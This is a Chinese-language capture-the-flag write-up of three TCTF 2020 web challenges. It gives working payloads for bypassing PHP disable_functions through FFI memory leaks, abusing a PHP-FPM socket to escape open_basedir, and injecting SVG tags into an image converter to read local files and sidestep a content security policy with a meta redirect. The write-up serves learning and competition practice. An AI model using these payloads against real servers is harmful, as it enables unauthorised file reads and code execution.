TCTF 2020 Web Writeup partial

To begin with

今年 TCTF Web 题目比原来要多,但还是那么强(做不出来

easyphp

这道题被非预期了,正确解法也是在看到一叶飘零的分享才知道。
源码直接给了 shell,但是禁用了很多函数。
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}; 列一下目录可以看到 flag.hflag.so
尝试 bypass df,发现常用的方法都不能打。但是题目是 fpm,仔细看一下环境是自己安装的 ubuntu php,可能没在 /run/php/php7.4-fpm.sock ,试了几个位置后,在 /run/php-fpm.sock 可以打 fpm 绕过 open_basedir,目的就是读 flag.h,或者 so。
然而由于环境是 supervisor 起的,可能有的队伍打完 open_basedir 就被改为 / 了,直接上车读了 so 拿到了 flag。。

noeasyphp

题目改成 apache handler,没办法非预期了,而且禁用了一堆函数。

DirectiveLocal ValueMaster Value
disable_classesCURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,DirectoryCURLFile,PDO,finfo,SQLite3,SoapClient,SoapServer,ZipArchive,Imagick,SNMP,DirectoryIterator,SplFileInfo,Reflection,ReflectionClass,Directory
disable_functionschdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlinkchdir,imagecreatefromgd2part,fclose,file_put_contents,imagecreatefromgd2,sqlite_popen,fwrite,chgrp,xml_parser_create_ns,ini_get,pcntl_wifexited,openlog,linkinfo,apache_child_terminate,copy,zip_open,socket_bind,proc_get_status,stream_socket_accept,pcntl_get_last_error,pcntl_wtermsig,parse_ini_file,shell_exec,apache_get_modules,readdir,sqlite_open,syslog,pcntl_strerror,imap_open,error_log,passthru,fopen,pcntl_wexitstatus,dir,pcntl_wifstopped,ignore_user_abort,pcntl_wait,link,xml_parse,pcntl_getpriority,ini_set,imagecreatefromxpm,imagecreatefromwbmp,pcntl_wifsignaled,pcntl_sigwaitinfo,curl_init,socket_create,rename,pcntl_signal_get_handler,apache_setenv,sleep,ini_get_all,parse_ini_string,realpath,apache_reset_timeout,curl_exec,pcntl_signal_dispatch,putenv,ftp_exec,pcntl_exec,imagecreatetruecolor,get_cfg_var,dl,stream_socket_server,popen,pcntl_waitpid,chown,ini_restore,ini_alter,pcntl_signal,glob,pcntl_sigtimedwait,zend_version,imagecreatefrompng,set_time_limit,pcntl_fork,mb_send_mail,system,pcntl_setpriority,pcntl_async_signals,imap_mail,pfsockopen,imagecreatefromwebp,pcntl_alarm,pcntl_wstopsig,exec,virtual,ftp_connect,stream_socket_client,fsockopen,imagecreatefromstring,apache_get_version,readlink,pcntl_wifcontinued,xml_parser_create,imagecreatefromxbm,proc_open,pcntl_sigprocmask,curl_multi_exec,mail,chmod,apache_getenv,chroot,bindtextdomain,ld,symlink

FFI 可以加载定义的 c 函数,从而绕过 df,但是这里禁用了 cdef 的用法,考虑加载 flag.h 来执行命令,但是我们不知道定义的函数名,需要通过其他方法 leak 出来类似如下的内容:

#define FFI_LIB "/flag.so"
#define FFI_SCOPE "flag"

char* flag_fUn3t1on_fFi();"

贴一下大佬的 payload 吧,实测的时候稍微改了下,向前多移动了一些

POST /?rh=eval($_POST[0]); HTTP/1.1
Host: pwnable.org:19260
User-Agent: Mozilla
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1047

0=try {
    $ffi=FFI::load("/flag.h");
    $a = $ffi->new("char[8]", false);
    $a[0] = 'f';
    $a[1] = 'l';
    $a[2] = 'a';
    $a[3] = 'g';
    $a[4] = 'f';
    $a[5] = 'l';
    $a[6] = 'a';
    $a[7] = 'g';
    $b = $ffi->new("char[8]", false);
    $b[0] = 'f';
    $b[1] = 'l';
    $b[2] = 'a';
    $b[3] = 'g';
    $newa = $ffi->cast("void*", $a);
    var_dump($newa);
    $newb = $ffi->cast("void*", $b);
    var_dump($newb);
    
    $addr_of_a = FFI::new("unsigned long long");
    FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
    var_dump($addr_of_a);
    
    $leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
    FFI::memcpy($leak, $newa-0x37000, 102400);
    $tmp = FFI::string($leak,102400);
    var_dump($tmp);
   
    //var_dump($leak);
    //$leak[0] = 0xdeadbeef;
    //$leak[1] = 0x61616161;
    //var_dump($a);
    //FFI::memcpy($newa-0x8, $leak, 128*8);
    //var_dump($a);
    //var_dump(777);
} catch (FFI\Exception $ex) {
    echo $ex->getMessage(), PHP_EOL;
}

可以在响应中拿到

然后读一下 flag

$ffi=FFI::load("/flag.h");
$a = FFI::string($ffi->flag_wAt3_uP_apA3H1());
var_dump($a);

payload 来自:https://www.4hou.com/posts/p7BQ

Wechat Generator

页面可以生成聊天记录,分别有 preview 和 share 的功能
在 share 中,有

<h2>Your friend shared this screenshot to you:</h2>
<div class="sharediv">
    <img class="shareimg" src="/image/yxnXsv/png" id="preview"/>
</div>

对 png 进行修改发现会提示不支持的扩展,{"error": "Convert exception: u'bpg' is unsupported format"} ,猜测可能是个类似 imagick 的转换。
使用 htm 可以转换可以得到如下内容

  <g transform="translate(273 572)">
    <text font-family="SimHei,SimHei" font-size="72">Me too!!!</text><image x="360" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://pwnable.org:5000/static/emoji/smile.png" /><text x="460" font-family="SimHei,SimHei" font-size="72"></text>
  </g>

发现我们输入的表情出现在 smile 位置,或许可以尝试注入标签。

闭合后输入 "><image src=''> 发现 src 被过滤了,双写可以绕过,但是好像没啥用,CSP 限制了 js 的 inline。

有大佬分享过,转换 svg 到其他文件可以 SSRF,这里使用 [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!![smile\"/><image xlink:href=\"text:/flag\" x=\"0\" y=\"0\" height=\"1000px\" width=\"1000px\"/>]"}] 读文件,可以读到 goodjob 的提示(emmm。

尝试读源码找不到位置,cmdline 只有 python 信息,从 proc/self/cwd/app.py 读到了源码

有一个隐蔽的路由,http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws

需要我们提交 alert(1),由于 CSP 限制 Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self',我们考虑使用 meta 跳转。

提交 [{"type":0,"message":"Love you!"},{"type":1,"message":"Me too!!![smile\"/><memetata http-equiv=\"refresh\" content=\"0;url=http://x/x.php\">]"}] 写入 <script>alert(1)</script>,转换为 htm 提交地址即可。

(大师傅们太厉害了,复现的时候都感觉想不到想不到

ref:
https://www.4hou.com/posts/p7BQ
https://mp.weixin.qq.com/s/rMh-hABCdGpYpGqtFFiKOA

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus